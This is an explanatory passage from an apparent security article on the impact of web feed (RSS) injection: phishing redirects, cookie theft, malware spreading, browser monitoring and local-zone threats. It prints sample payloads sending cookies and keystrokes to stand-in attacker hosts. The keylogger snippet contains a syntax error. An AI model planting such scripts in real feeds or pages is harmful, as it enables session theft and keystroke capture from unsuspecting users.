|
|
|
|
IMPACT
What are the possible ways in which an attacker can exploit feed injection vulnerabilities?
Phishing
To redirect a user to another link, possibly a malicious website. This can be done by forcing the browser to visit the attacker's site by embedding tags similar to
<script>window.open("http://malicious-site.com/")</script>
Stealing Cookies
An attacker can use a cookie-grabber script on his website; when a user reads the feed, he will get redirected to the attacker’s website hosting the cookie-grabber script.
window.location = "http://malicious-Server.com/cookielogger.php?c="+document.cookie
or
document.location = "http://malicious-Server.com/cookielogger.php?c="+document.cookie
Deploying Malware
Web feeds can be used to perform more evil deeds. For well-known as well as 0-day exploits, web based feeds can serve as carriers and deployment vectors. The possibilities are even more apparent when a feed is re-syndicated in other sites' feeds. The potential exposed user base could be in the several millions. This makes the feed injection attack an attractive method for botnets or spreading worms over the Internet. Let us discuss a real life example of this scenario.
1. Imagine that a website providing popular web feed gets hacked. An attacker deciding to inject malicious payloads into a feed, rather than defacing the site, has a greater chance of evading detection for a longer period of time, and thus compromising loyal users of this “trusted” website. The recent of a major Indian financial institution is a good example of such a scenario. Defacement statistics show thousands of sites being defaced daily, but instead of defacing a website image, an attacker injects malicious scripts, compromising millions of users and staying undetected for a longer duration.
2. Often web feeds are created from mailing lists, bulletin board messages, or user postings on blogs. This may provide a convenient way to inject a malicious payload. The following diagram illustrates this scenario.
3. Although chances are slim, the feed can somehow be modified during the transport phase via MITM Proxy Cache poisoning
4. The feed is intentionally hosted by the owner for malicious purposes. Though this is unlikely, this is a possibility.
Browser Activity Monitoring
Once an attacker gets the opportunity to execute the script of his choice, he can collect information on the user side, including information about the browser and the underlying operating system. This includes browser details, browsing history, open tabs, and keystrokes as well.
The following example shows how an attacker can inject JavaScript keylogger in the feed on the website displaying the feed:
<script LANGUAGE="JavaScript">
document.captureEvents(Event.KEYPRESS);
document.onkeypress = capturePressedKeys;
function capturePressedKeys(e) {
var image = new Image();
var pressedKey = String.fromCharCode(e.which);
var src = http://www.badguyswebsite.com/? + "pressedKeys=" + escape(pressedKey);
image.src = src;
return true;
}
</script>
Local Zone Threats
Moreover, in the case of feed reader software installed on the client's PC - local RSS readers provide easy access into the file systems, and could potentially be used for relaying attacks. It gives birth to several new possibilities, especially if the software is based on IE with no mechanism to block the malicious scripts.
Arbitrary HTML can carry payloads as scripts, ActiveX objects, remote image web bugs, and arbitrary CSS stylesheets. Browsers provide some degree of protection against the worst of these payloads by having different rules for different zones. For instance, pages on the Internet are treated as untrusted and may not have privileges to run ActiveX objects, but pages on your own machine, or within your own intranet, can. But, even though data delivered by RSS feeds originates remotely, many clients display the data as if it were trusted local material. |
|
|
|
|
|
|
|
